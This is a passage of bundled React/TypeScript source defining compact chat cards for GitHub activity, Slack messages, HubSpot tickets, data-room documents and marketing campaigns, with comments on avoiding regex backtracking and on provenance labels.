 if (/^[0-9a-f]{40}$/i.test(id)) return id.slice(0, 7);\n  return id.length > 12 ? id.slice(0, 12) : id;\n}\n\nexport function parseGithubTitle(\n  title: string,\n  kind: GitHubActivityKind,\n): { display: string; reviewState: PrReviewState | null } {\n  if (!title) return { display: '', reviewState: null };\n\n  // Split prefix-tag from rest by hand instead of one giant regex.\n  // Avoids polynomial-redos on chained `\\s*` quantifiers (`\\[\\s*X\\s*\\]`),\n  // since multiple consecutive `\\s*` groups against long whitespace runs\n  // trigger exponential backtracking on CodeQL's heuristic.\n  //\n  // Algorithm: trim; if it starts with `[`, locate the matching `]`,\n  // then content[0:closing] is the tag, content[closing+1:] is the\n  // remainder. Linear scan — no regex backtracking possible.\n  const trimmed = title.trim();\n  let tag: string | null = null;\n  let rest: string = trimmed;\n  if (trimmed.startsWith('[')) {\n    const close = trimmed.indexOf(']');\n    if (close > 0) {\n      tag = trimmed.slice(1, close).trim().toLowerCase();\n      rest = trimmed.slice(close + 1).trim();\n    }\n  }\n\n  if (kind === 'pr_review' && tag && tag.startsWith('review:')) {\n    const stateRaw = tag.slice('review:'.length).trim().toUpperCase();\n    const reviewState = (\n      ['APPROVED', 'CHANGES_REQUESTED', 'COMMENTED', 'DISMISSED', 'PENDING'] as PrReviewState[]\n    ).includes(stateRaw as PrReviewState)\n      ? (stateRaw as PrReviewState)\n      : null;\n    return { display: rest || 'Review', reviewState };\n  }\n  if (kind === 'pull_request' && tag && tag.startsWith('pr')) {\n    // Accept `[PR #123]`, `[PR#123]`, `[ pr # 123 ]` etc. — anything\n    // matching `pr` followed by `#?\\s*\\d+`. Validate the suffix is\n    // a numeric PR id, not arbitrary text.\n    const after = tag.slice(2).trim().replace(/^#\\s*/, '');\n    if (after.length > 0 && /^\\d+$/.test(after)) {\n      return { display: rest || title, reviewState: null };\n    }\n  }\n  if (kind === 'commit' && tag === 'commit') {\n    return { display: rest || title, reviewState: null };\n  }\n  return { display: title.trim(), reviewState: null };\n}\n\nconst REVIEW_STATE_STYLE: Record<PrReviewState, { label: string; className: string }> = {\n  APPROVED: {\n    label: 'Approved',\n    className: 'bg-ods-success-secondary text-ods-success',\n  },\n  CHANGES_REQUESTED: {\n    label: 'Changes',\n    className: 'bg-ods-error-secondary text-ods-error',\n  },\n  COMMENTED: {\n    label: 'Comment',\n    className: 'bg-ods-bg-surface text-ods-text-primary',\n  },\n  DISMISSED: {\n    label: 'Dismissed',\n    className: 'bg-ods-bg-surface text-ods-text-secondary',\n  },\n  PENDING: {\n    label: 'Pending',\n    className: 'bg-ods-warning-secondary text-ods-warning',\n  },\n};\n\n/** Short review-state label (\"APPROVED\" → \"Approved\") shared with the\n *  MingoInfoCard dispatch mapping so both surfaces read identically. */\nexport function reviewStateLabel(state: PrReviewState): string {\n  return (REVIEW_STATE_STYLE[state] ?? REVIEW_STATE_STYLE.COMMENTED).label;\n}\n\nfunction ReviewStateBadge({ state, className = '' }: { state: PrReviewState; className?: string }) {\n  const { label, className: paint } = REVIEW_STATE_STYLE[state] ?? REVIEW_STATE_STYLE.COMMENTED;\n  return (\n    <span className={`inline-flex shrink-0 items-center rounded px-1.5 py-0.5 text-h5 ${paint} ${className}`}>\n      {label}\n    </span>\n  );\n}\n\nexport interface GitHubActivityCardAnchorProps {\n  href: string;\n  target?: '_blank';\n  rel?: 'noopener noreferrer';\n  onClick?: (e: React.MouseEvent<HTMLAnchorElement>) => void;\n}\n\nexport interface GitHubActivityCardProps {\n  item: GitHubActivityItem;\n  variant?: 'row' | 'compact';\n  className?: string;\n  /** Pre-composed `<a>` prop bundle (typically from a `useNavLink` hook in\n   *  the consumer). When provided, the outer renders as a real `<a>`. */\n  anchorProps?: GitHubActivityCardAnchorProps;\n}\n\nexport function GitHubActivityCard({ item, variant = 'compact', className, anchorProps }: GitHubActivityCardProps) {\n  const kind = item.kind ?? 'commit';\n  const repo = item.repo ?? parseRepoFromUrl(item.url) ?? '';\n  const dateText = formatDate(item.dateUpdated, { fallback: '', timezone: 'local' });\n  const idLabel = formatActivityId(item.id, kind);\n  const { display: title, reviewState } = parseGithubTitle(item.title, kind);\n  const primaryText = kind === 'pr_review' ? title.replace(/^by\\s+/i, '').trim() || 'Reviewer' : title;\n\n  if (variant === 'row') {\n    return (\n      <div className={`flex min-w-0 items-center gap-3 ${className ?? ''}`}>\n        <span className=\"flex w-28 shrink-0 items-center gap-2\">\n          {kindIcon(kind, 'h-3.5 w-3.5')}\n          <code className=\"truncate text-ods-text-secondary text-code\">{idLabel}</code>\n        </span>\n        <span className=\"flex min-w-0 flex-1 items-center gap-2 text-ods-text-primary text-h6\">\n          {reviewState ? <ReviewStateBadge state={reviewState} /> : null}\n          <span className=\"truncate\">{primaryText}</span>\n        </span>\n        {repo ? (\n          <span className=\"max-w-[240px] shrink-0 truncate text-ods-text-secondary text-code\">{repo}</span>\n        ) : null}\n        {dateText ? <span className=\"w-24 shrink-0 text-right text-ods-text-secondary text-h6\">{dateText}</span> : null}\n      </div>\n    );\n  }\n\n  const metaParts: React.ReactNode[] = [];\n  metaParts.push(\n    <span key=\"kind\" className=\"uppercase text-h6\">\n      {kindLabel(kind)}\n    </span>,\n  );\n  if (idLabel)\n    metaParts.push(\n      <code key=\"id\" className=\"font-mono\">\n        {idLabel}\n      </code>,\n    );\n  if (repo)\n    metaParts.push(\n      <span key=\"repo\" className=\"truncate font-mono\">\n        {repo}\n      </span>,\n    );\n  if (dateText)\n    metaParts.push(\n      <span key=\"date\" className=\"whitespace-nowrap\">\n        {dateText}\n      </span>,\n    );\n\n  const href = safeHref(item.url);\n  const body = (\n    <>\n      <span className={COMPACT_CARD_ICON_SLOT}>{kindIcon(kind, 'h-5 w-5')}</span>\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className={`${COMPACT_CARD_TITLE_ROW} flex-nowrap gap-1.5`}>\n          {reviewState ? <ReviewStateBadge state={reviewState} /> : null}\n          <span className={COMPACT_CARD_TITLE}>{primaryText}</span>\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className={COMPACT_CARD_META_ROW}>\n            {metaParts.map((part, i) => (\n              <React.Fragment key={i}>\n                {i > 0 ? <span className=\"shrink-0 text-ods-text-secondary/40\">·</span> : null}\n                <span className=\"min-w-0 truncate\">{part}</span>\n              </React.Fragment>\n            ))}\n          </span>\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className={COMPACT_CARD_SUMMARY}>{COMPACT_CARD_ROW_FILLER}</span>\n        </span>\n      </span>\n      {href ? (\n        <span className=\"flex h-5 shrink-0 items-center self-start text-ods-text-secondary\">\n          <ExternalLink className=\"h-3.5 w-3.5\" />\n        </span>\n      ) : null}\n    </>\n  );\n  if (anchorProps) {\n    return (\n      <a {...anchorProps} className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n        {body}\n      </a>\n    );\n  }\n  return href ? (\n    <a href={href} target=\"_blank\" rel=\"noopener noreferrer\" className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n      {body}\n    </a>\n  ) : (\n    <span className={`${COMPACT_CARD_OUTER_STATIC} ${className ?? ''}`} aria-label=\"No link available\">\n      {body}\n    </span>\n  );\n}\n\nexport function GitHubActivityCardSkeleton({\n  variant = 'compact',\n  className,\n}: {\n  variant?: 'row' | 'compact';\n  className?: string;\n}) {\n  if (variant === 'row') {\n    return (\n      <div className={`flex min-w-0 animate-pulse items-center gap-3 ${className ?? ''}`}>\n        <div className=\"flex w-28 shrink-0 items-center gap-2\">\n          <div className=\"h-3.5 w-3.5 rounded bg-ods-bg\" />\n          <div className=\"h-3 w-16 rounded bg-ods-bg\" />\n        </div>\n        <div className=\"h-3 w-2/3 flex-1 rounded bg-ods-bg\" />\n        <div className=\"h-3 w-40 shrink-0 rounded bg-ods-bg/60\" />\n        <div className=\"h-3 w-20 shrink-0 rounded bg-ods-bg/60\" />\n      </div>\n    );\n  }\n  return (\n    <span className={`${COMPACT_CARD_SKELETON_OUTER} ${className ?? ''}`}>\n      <span className={COMPACT_CARD_SKELETON_IMAGE_SLOT} />\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className={COMPACT_CARD_TITLE_ROW}>\n          <span className=\"h-3.5 w-2/3 rounded bg-ods-bg\" />\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className=\"h-3 w-1/2 rounded bg-ods-bg/70\" />\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className={COMPACT_CARD_SUMMARY}>{COMPACT_CARD_ROW_FILLER}</span>\n        </span>\n      </span>\n      <span className=\"flex h-5 shrink-0 items-center self-start\">\n        <span className=\"h-3.5 w-3.5 rounded bg-ods-bg\" />\n      </span>\n    </span>\n  );\n}\n","'use client';\n\n/**\n * Slack Message Card — unified visual for slack-messages markers.\n *\n * PURE PRESENTATION (no internal nav). The card receives the structured\n * `<a>` prop bundle via `anchorProps` (composed by the caller from a\n * runtime hook) and renders the rest from the `SlackMessageItem` shape\n * directly.\n */\n\nimport { ExternalLink, Hash } from 'lucide-react';\nimport React from 'react';\nimport { formatDateUTC as formatDate } from '../../../utils/format';\nimport { SlackIcon } from '../../icons/slack-icon';\nimport type { SlackMessageItem } from '../types/entities/slack-message';\nimport {\n  COMPACT_CARD_ICON_SLOT,\n  COMPACT_CARD_META_ROW,\n  COMPACT_CARD_META_ROW_BOX,\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_OUTER_STATIC,\n  COMPACT_CARD_ROW_FILLER,\n  COMPACT_CARD_SKELETON_IMAGE_SLOT,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_SUMMARY,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n  COMPACT_CARD_TITLE_ROW,\n  safeHref,\n} from '../utils/compact-card-classes';\n\nexport interface SlackMessageCardAnchorProps {\n  href: string;\n  target?: '_blank';\n  rel?: 'noopener noreferrer';\n  onClick?: (e: React.MouseEvent<HTMLAnchorElement>) => void;\n}\n\nexport interface SlackMessageCardProps {\n  item: SlackMessageItem;\n  variant?: 'row' | 'compact';\n  className?: string;\n  anchorProps?: SlackMessageCardAnchorProps;\n}\n\nfunction parseChannelFromUrl(url: string | null | undefined): string | null {\n  if (!url) return null;\n  try {\n    const u = new URL(url);\n    if (!u.host.endsWith('.slack.com')) return null;\n    const parts = u.pathname.split('/').filter(Boolean);\n    const archivesIdx = parts.indexOf('archives');\n    if (archivesIdx !== -1 && parts.length > archivesIdx + 1) return parts[archivesIdx + 1];\n  } catch {\n    /* malformed URL */\n  }\n  return null;\n}\n\nexport function SlackMessageCard({ item, variant = 'compact', className, anchorProps }: SlackMessageCardProps) {\n  const channel = item.channel ?? parseChannelFromUrl(item.url) ?? null;\n  const dateText = formatDate(item.dateUpdated, { fallback: '', timezone: 'local' });\n\n  if (variant === 'row') {\n    return (\n      <div className={`flex min-w-0 items-center gap-3 ${className ?? ''}`}>\n        <SlackIcon className=\"h-3.5 w-3.5 shrink-0\" />\n        <span className=\"max-w-[180px] shrink-0 truncate text-ods-text-primary text-h6\">{item.title}</span>\n        {item.preview ? (\n          <span className=\"min-w-0 flex-1 truncate text-ods-text-secondary text-h6\">{item.preview}</span>\n        ) : null}\n        {channel ? (\n          <span className=\"max-w-[140px] shrink-0 truncate text-ods-text-secondary text-code\">\n            <Hash className=\"inline h-3 w-3\" />\n            {channel}\n          </span>\n        ) : null}\n        {dateText ? <span className=\"w-24 shrink-0 text-right text-ods-text-secondary text-h6\">{dateText}</span> : null}\n      </div>\n    );\n  }\n\n  const metaParts: React.ReactNode[] = [];\n  if (channel) {\n    metaParts.push(\n      <span key=\"channel\" className=\"flex min-w-0 items-center gap-0.5\">\n        <Hash className=\"h-3 w-3 shrink-0\" />\n        <span className=\"truncate font-mono\">{channel}</span>\n      </span>,\n    );\n  }\n  if (dateText)\n    metaParts.push(\n      <span key=\"date\" className=\"whitespace-nowrap\">\n        {dateText}\n      </span>,\n    );\n\n  const href = safeHref(item.url);\n  const body = (\n    <>\n      <span className={COMPACT_CARD_ICON_SLOT}>\n        <SlackIcon className=\"h-5 w-5\" />\n      </span>\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className={COMPACT_CARD_TITLE_ROW}>\n          <span className={COMPACT_CARD_TITLE}>{item.title}</span>\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className={COMPACT_CARD_SUMMARY}>{item.preview || COMPACT_CARD_ROW_FILLER}</span>\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className={COMPACT_CARD_META_ROW}>\n            {metaParts.length > 0 ? (\n              metaParts.map((part, i) => (\n                <React.Fragment key={i}>\n                  {i > 0 ? <span className=\"shrink-0 text-ods-text-secondary/40\">·</span> : null}\n                  <span className=\"min-w-0 truncate\">{part}</span>\n                </React.Fragment>\n              ))\n            ) : (\n              <span className={COMPACT_CARD_SUMMARY}>{COMPACT_CARD_ROW_FILLER}</span>\n            )}\n          </span>\n        </span>\n      </span>\n      {href ? (\n        <span className=\"flex h-5 shrink-0 items-center self-start text-ods-text-secondary\">\n          <ExternalLink className=\"h-3.5 w-3.5\" />\n        </span>\n      ) : null}\n    </>\n  );\n  if (anchorProps) {\n    return (\n      <a {...anchorProps} className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n        {body}\n      </a>\n    );\n  }\n  return href ? (\n    <a href={href} target=\"_blank\" rel=\"noopener noreferrer\" className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n      {body}\n    </a>\n  ) : (\n    <span className={`${COMPACT_CARD_OUTER_STATIC} ${className ?? ''}`} aria-label=\"No link available\">\n      {body}\n    </span>\n  );\n}\n\nexport function SlackMessageCardSkeleton({\n  variant = 'compact',\n  className,\n}: {\n  variant?: 'row' | 'compact';\n  className?: string;\n}) {\n  if (variant === 'row') {\n    return (\n      <div className={`flex min-w-0 animate-pulse items-center gap-3 ${className ?? ''}`}>\n        <div className=\"h-3.5 w-3.5 shrink-0 rounded bg-ods-bg\" />\n        <div className=\"h-3 w-32 shrink-0 rounded bg-ods-bg\" />\n        <div className=\"h-3 w-2/3 flex-1 rounded bg-ods-bg/60\" />\n        <div className=\"h-3 w-24 shrink-0 rounded bg-ods-bg/60\" />\n        <div className=\"h-3 w-20 shrink-0 rounded bg-ods-bg/60\" />\n      </div>\n    );\n  }\n  return (\n    <span className={`${COMPACT_CARD_SKELETON_OUTER} ${className ?? ''}`}>\n      <span className={COMPACT_CARD_SKELETON_IMAGE_SLOT} />\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className={COMPACT_CARD_TITLE_ROW}>\n          <span className=\"h-3.5 w-2/3 rounded bg-ods-bg\" />\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className=\"h-3 w-5/6 rounded bg-ods-bg/60\" />\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className=\"h-3 w-1/3 rounded bg-ods-bg/70\" />\n        </span>\n      </span>\n      <span className=\"flex h-5 shrink-0 items-center self-start\">\n        <span className=\"h-3.5 w-3.5 rounded bg-ods-bg\" />\n      </span>\n    </span>\n  );\n}\n","'use client';\n\n/**\n * HubSpot Ticket Card — unified visual for hubspot-tickets markers.\n *\n * PURE PRESENTATION (no internal nav). The card receives the structured\n * `<a>` prop bundle via `anchorProps` (composed by the caller from a\n * runtime hook) and renders the rest from the `HubspotTicketItem` shape\n * directly.\n */\n\nimport { ExternalLink } from 'lucide-react';\nimport React from 'react';\nimport { formatDateUTC as formatDate } from '../../../utils/format';\nimport { StatusBadge } from '../../ui/status-badge';\nimport type { HubspotTicketItem } from '../types/entities/hubspot-ticket';\nimport {\n  COMPACT_CARD_META_ROW,\n  COMPACT_CARD_META_ROW_BOX,\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_OUTER_STATIC,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n  safeHref,\n} from '../utils/compact-card-classes';\n\nexport interface HubspotTicketCardAnchorProps {\n  href: string;\n  target?: '_blank';\n  rel?: 'noopener noreferrer';\n  onClick?: (e: React.MouseEvent<HTMLAnchorElement>) => void;\n}\n\nexport interface HubspotTicketCardProps {\n  item: HubspotTicketItem;\n  variant?: 'row' | 'compact';\n  className?: string;\n  anchorProps?: HubspotTicketCardAnchorProps;\n}\n\nfunction formatToken(token: string | null | undefined): string | null {\n  if (!token) return null;\n  const lower = token.toLowerCase().replace(/_/g, ' ');\n  return lower.charAt(0).toUpperCase() + lower.slice(1);\n}\n\ntype BadgeScheme = 'success' | 'error' | 'warning' | 'cyan' | 'default';\n\nfunction priorityScheme(priority: string | null | undefined): BadgeScheme {\n  const p = (priority || '').toUpperCase();\n  if (p === 'URGENT') return 'error';\n  if (p === 'HIGH') return 'warning';\n  if (p === 'MEDIUM') return 'cyan';\n  return 'default';\n}\n\nfunction statusScheme(status: string | null | undefined): BadgeScheme {\n  const s = (status || '').toUpperCase();\n  if (s === 'CLOSED') return 'success';\n  if (s === 'OPEN') return 'warning';\n  return 'default';\n}\n\nexport function HubspotTicketCard({ item, variant = 'compact', className, anchorProps }: HubspotTicketCardProps) {\n  const statusText = item.statusLabel ?? formatToken(item.status);\n  const priorityText = formatToken(item.priority);\n  const dateText = formatDate(item.dateUpdated, { fallback: '', timezone: 'local' });\n\n  if (variant === 'row') {\n    return (\n      <div className={`flex min-w-0 items-center gap-3 ${className ?? ''}`}>\n        <span className=\"max-w-[260px] shrink-0 truncate text-ods-text-primary text-h6\">{item.title}</span>\n        {item.preview ? (\n          <span className=\"min-w-0 flex-1 truncate text-ods-text-secondary text-h6\">{item.preview}</span>\n        ) : null}\n        {statusText ? <StatusBadge text={statusText} variant=\"button\" colorScheme={statusScheme(item.status)} /> : null}\n        {dateText ? <span className=\"w-24 shrink-0 text-right text-ods-text-secondary text-h6\">{dateText}</span> : null}\n      </div>\n    );\n  }\n\n  const metaParts: React.ReactNode[] = [];\n  if (item.customerCompany) {\n    metaParts.push(\n      <span key=\"company\" className=\"min-w-0 truncate\">\n        {item.customerCompany}\n      </span>,\n    );\n  }\n  if (dateText)\n    metaParts.push(\n      <span key=\"date\" className=\"whitespace-nowrap\">\n        {dateText}\n      </span>,\n    );\n\n  const href = safeHref(item.url);\n  const body = (\n    <>\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className=\"flex min-w-0 flex-wrap items-center gap-1.5\">\n          <span className={`${COMPACT_CARD_TITLE} min-w-0 shrink`}>{item.title}</span>\n          {priorityText ? (\n            <StatusBadge\n              text={priorityText}\n              variant=\"button\"\n              colorScheme={priorityScheme(item.priority)}\n              className=\"shrink-0\"\n            />\n          ) : null}\n          {statusText ? (\n            <StatusBadge\n              text={statusText}\n              variant=\"button\"\n              colorScheme={statusScheme(item.status)}\n              className=\"shrink-0\"\n            />\n          ) : null}\n        </span>\n        {item.customerEmail ? (\n          <span className=\"flex min-w-0 items-center gap-1 text-ods-text-secondary text-h6\">\n            <span className=\"shrink-0 text-ods-text-secondary/70\">From:</span>\n            <span className=\"min-w-0 truncate\">{item.customerEmail}</span>\n          </span>\n        ) : null}\n        <span className=\"flex min-w-0\">\n          <span className=\"line-clamp-4 whitespace-pre-wrap break-words text-ods-text-secondary text-h6\">\n            {item.preview || <span className=\"italic text-ods-text-secondary/60\">No description provided.</span>}\n          </span>\n        </span>\n        {metaParts.length > 0 ? (\n          <span className={COMPACT_CARD_META_ROW_BOX}>\n            <span className={COMPACT_CARD_META_ROW}>\n              {metaParts.map((part, i) => (\n                <React.Fragment key={i}>\n                  {i > 0 ? <span className=\"shrink-0 text-ods-text-secondary/40\">·</span> : null}\n                  <span className=\"min-w-0 truncate\">{part}</span>\n                </React.Fragment>\n              ))}\n            </span>\n          </span>\n        ) : null}\n      </span>\n      {href ? (\n        <span className=\"flex h-5 shrink-0 items-center self-start text-ods-text-secondary\">\n          <ExternalLink className=\"h-3.5 w-3.5\" />\n        </span>\n      ) : null}\n    </>\n  );\n  if (anchorProps) {\n    return (\n      <a {...anchorProps} className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n        {body}\n      </a>\n    );\n  }\n  return href ? (\n    <a href={href} target=\"_blank\" rel=\"noopener noreferrer\" className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n      {body}\n    </a>\n  ) : (\n    <span className={`${COMPACT_CARD_OUTER_STATIC} ${className ?? ''}`} aria-label=\"No link available\">\n      {body}\n    </span>\n  );\n}\n\nexport function HubspotTicketCardSkeleton({\n  variant = 'compact',\n  className,\n}: {\n  variant?: 'row' | 'compact';\n  className?: string;\n}) {\n  if (variant === 'row') {\n    return (\n      <div className={`flex min-w-0 animate-pulse items-center gap-3 ${className ?? ''}`}>\n        <div className=\"h-3 w-40 shrink-0 rounded bg-ods-bg\" />\n        <div className=\"h-3 w-2/3 flex-1 rounded bg-ods-bg/60\" />\n        <div className=\"h-3 w-16 shrink-0 rounded bg-ods-bg/60\" />\n        <div className=\"h-3 w-20 shrink-0 rounded bg-ods-bg/60\" />\n      </div>\n    );\n  }\n  return (\n    <span className={`${COMPACT_CARD_SKELETON_OUTER} ${className ?? ''}`}>\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className=\"flex min-w-0 flex-wrap items-center gap-1.5\">\n          <span className=\"h-3.5 w-2/3 rounded bg-ods-bg\" />\n          <span className=\"h-4 w-12 rounded-full bg-ods-bg/60\" />\n          <span className=\"h-4 w-16 rounded-full bg-ods-bg/60\" />\n        </span>\n        <span className=\"h-4 w-1/2 rounded bg-ods-bg/60\" />\n        <span className=\"flex min-w-0 flex-col gap-0\">\n          <span className=\"h-5 w-5/6 rounded bg-ods-bg/60\" />\n          <span className=\"h-5 w-4/6 rounded bg-ods-bg/60\" />\n          <span className=\"h-5 w-3/4 rounded bg-ods-bg/60\" />\n          <span className=\"h-5 w-2/5 rounded bg-ods-bg/60\" />\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className=\"h-3 w-1/3 rounded bg-ods-bg/70\" />\n        </span>\n      </span>\n      <span className=\"flex h-5 shrink-0 items-center self-start\">\n        <span className=\"h-3.5 w-3.5 rounded bg-ods-bg\" />\n      </span>\n    </span>\n  );\n}\n","'use client';\n\n/**\n * Data-room / OpenFrame-docs inline chat card.\n *\n * PURE PRESENTATION. The card receives a pre-composed `<a>` prop bundle\n * (`anchorProps`) plus a pre-resolved badge label — both decisions\n * (URL composition + cross-app routing) are made in the consumer's\n * runtime layer, not inside this card.\n *\n * Renders `[card://data_room_doc:<id>]` and `[card://markdown:<id>]` markers\n * — both use this card because their viewer surface is structurally\n * identical; only the `baseRoute` differs (`/data-room` vs `/knowledge-base`).\n */\n\nimport { ExternalLink } from 'lucide-react';\nimport type React from 'react';\nimport { StatusBadge } from '../../ui/status-badge';\nimport type { DataRoomDocCardItem } from '../types/entities/data-room-doc';\nimport {\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_OUTER_STATIC,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n} from '../utils/compact-card-classes';\n\nexport interface DataRoomDocCardAnchorProps {\n  href: string;\n  target?: '_blank';\n  rel?: 'noopener noreferrer';\n  onClick?: (e: React.MouseEvent<HTMLAnchorElement>) => void;\n}\n\nexport interface DataRoomDocCardProps {\n  item: DataRoomDocCardItem;\n  className?: string;\n  /** Pre-composed badge label. REQUIRED — the consumer resolves\n   *  `sourceRepo` against its `SOURCE_LABELS_BY_TABLE` registry and\n   *  passes the result here.\n   *\n   *  Why required (no default): if the badge silently defaulted to a\n   *  literal like \"Data room\", a card sourced from openframe-docs (or\n   *  any other repo) whose `sourceRepo` resolution failed would\n   *  display the wrong provenance label — a real security signal,\n   *  because \"Data Room\" implies private/internal documents to\n   *  end-users. Forcing the consumer to supply the label means a\n   *  bug at the resolution step surfaces as a TypeScript error\n   *  (\"badgeText required\") instead of a falsely-labeled production\n   *  card. The hub-side dispatcher already passes\n   *  `getSourceLabel(sourceRepo)` with a non-null fallback. */\n  badgeText: string;\n  /** Pre-composed `<a>` prop bundle. When provided, the outer renders\n   *  as `<a {...anchorProps}>`; otherwise the card is non-interactive. */\n  anchorProps?: DataRoomDocCardAnchorProps;\n}\n\nexport function DataRoomDocCard({ item, className, badgeText, anchorProps }: DataRoomDocCardProps) {\n  const body = (\n    <>\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className=\"flex min-w-0 flex-wrap items-center gap-1.5\">\n          <span className={`${COMPACT_CARD_TITLE} min-w-0 shrink`}>{item.title}</span>\n          <StatusBadge text={badgeText} variant=\"button\" colorScheme=\"cyan\" className=\"shrink-0\" />\n        </span>\n        {item.path ? (\n          <span className=\"flex min-w-0 items-center gap-1 text-ods-text-secondary text-h6\">\n            <span className=\"shrink-0 text-ods-text-secondary/70\">Path:</span>\n            <span className=\"min-w-0 truncate font-mono\">{item.path}</span>\n          </span>\n        ) : null}\n        {item.preview ? (\n          <span className=\"flex min-w-0\">\n            <span className=\"line-clamp-2 whitespace-pre-wrap break-words text-ods-text-secondary text-h6\">\n              {item.preview}\n            </span>\n          </span>\n        ) : null}\n      </span>\n      {anchorProps?.href ? (\n        <span className=\"flex h-5 shrink-0 items-center self-start text-ods-text-secondary\">\n          <ExternalLink className=\"h-3.5 w-3.5\" />\n        </span>\n      ) : null}\n    </>\n  );\n  if (!anchorProps) {\n    return (\n      <span className={`${COMPACT_CARD_OUTER_STATIC} ${className ?? ''}`} aria-label=\"No link available\">\n        {body}\n      </span>\n    );\n  }\n  return (\n    <a {...anchorProps} className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n      {body}\n    </a>\n  );\n}\n\nexport function DataRoomDocCardSkeleton({ className }: { className?: string }) {\n  return (\n    <span className={`${COMPACT_CARD_SKELETON_OUTER} ${className ?? ''}`}>\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className=\"flex min-w-0 items-center gap-1.5\">\n          <span className=\"h-3.5 w-2/3 rounded bg-ods-bg\" />\n          <span className=\"h-4 w-16 rounded-full bg-ods-bg/60\" />\n        </span>\n        <span className=\"h-4 w-1/2 rounded bg-ods-bg/60\" />\n        <span className=\"flex min-w-0 flex-col gap-0\">\n          <span className=\"h-5 w-5/6 rounded bg-ods-bg/60\" />\n          <span className=\"h-5 w-3/4 rounded bg-ods-bg/60\" />\n        </span>\n      </span>\n      <span className=\"flex h-5 shrink-0 items-center self-start\">\n        <span className=\"h-3.5 w-3.5 rounded bg-ods-bg\" />\n      </span>\n    </span>\n  );\n}\n","'use client';\n\n/**\n * Campaign Card Admin (chat compact variant).\n *\n * PURE PRESENTATION. Receives a pre-composed `<a>` prop bundle and\n * renders a 3-row compact card. The hub still owns the full-size admin\n * card (with delete + manage buttons) — only the compact chat variant\n * lives here in lib.\n */\n\nimport { Megaphone } from 'lucide-react';\nimport type React from 'react';\nimport { formatDateShort } from '../../../utils/date-formatters';\nimport {\n  COMPACT_CARD_ICON_SLOT,\n  COMPACT_CARD_META_ROW_BOX,\n  COMPACT_CARD_OUTER,\n  COMPACT_CARD_OUTER_STATIC,\n  COMPACT_CARD_ROW_FILLER,\n  COMPACT_CARD_SKELETON_IMAGE_SLOT,\n  COMPACT_CARD_SKELETON_OUTER,\n  COMPACT_CARD_SUBTITLE,\n  COMPACT_CARD_SUMMARY,\n  COMPACT_CARD_TEXT_COL,\n  COMPACT_CARD_TITLE,\n  COMPACT_CARD_TITLE_ROW,\n} from '../utils/compact-card-classes';\n\n/** Minimal campaign shape needed by the chat-inline compact card. */\nexport interface CampaignCardItem {\n  id: string;\n  name: string;\n  description?: string | null;\n  start_date?: string | null;\n  goals?: Array<unknown> | null;\n}\n\nexport interface CampaignCardAdminAnchorProps {\n  href: string;\n  target?: '_blank';\n  rel?: 'noopener noreferrer';\n  onClick?: (e: React.MouseEvent<HTMLAnchorElement>) => void;\n}\n\nexport interface CampaignCardAdminProps {\n  campaign: CampaignCardItem;\n  className?: string;\n  anchorProps?: CampaignCardAdminAnchorProps;\n}\n\nexport function CampaignCardAdmin({ campaign, className, anchorProps }: CampaignCardAdminProps) {\n  const goalsCount = campaign.goals?.length || 0;\n\n  const innerChildren = (\n    <>\n      <span className={COMPACT_CARD_ICON_SLOT}>\n        <Megaphone className=\"h-5 w-5\" />\n      </span>\n      <span className={COMPACT_CARD_TEXT_COL}>\n        <span className={COMPACT_CARD_TITLE_ROW}>\n          <span className={COMPACT_CARD_TITLE}>{campaign.name}</span>\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className={COMPACT_CARD_SUBTITLE}>\n            {[\n              campaign.start_date ? formatDateShort(campaign.start_date) : null,\n              goalsCount > 0 ? `${goalsCount} goal${goalsCount !== 1 ? 's' : ''}` : null,\n              'Marketing campaign',\n            ]\n              .filter(Boolean)\n              .join(' · ')}\n          </span>\n        </span>\n        <span className={COMPACT_CARD_META_ROW_BOX}>\n          <span className={COMPACT_CARD_SUMMARY}>{campaign.description || COMPACT_CARD_ROW_FILLER}</span>\n        </span>\n      </span>\n    </>\n  );\n  if (anchorProps) {\n    return (\n      <a {...anchorProps} className={`${COMPACT_CARD_OUTER} ${className ?? ''}`}>\n        {innerChildren}\n      </a>\n    );\n  }\n  return (\n    <span className={`${COMPACT_CARD_OUTER_STATIC} ${className ?? ''}`} aria-label=\"No link available\">\n      {innerChildren}\n    </span>\n  );\n}\n\nexport function CampaignCardAdminSkeleton({ className }: { className?: string }) {\n  return (\n    <span className={`${COMPACT_CARD_SKELETON_OUTER} ${className ?? ''}`}>\n      <span 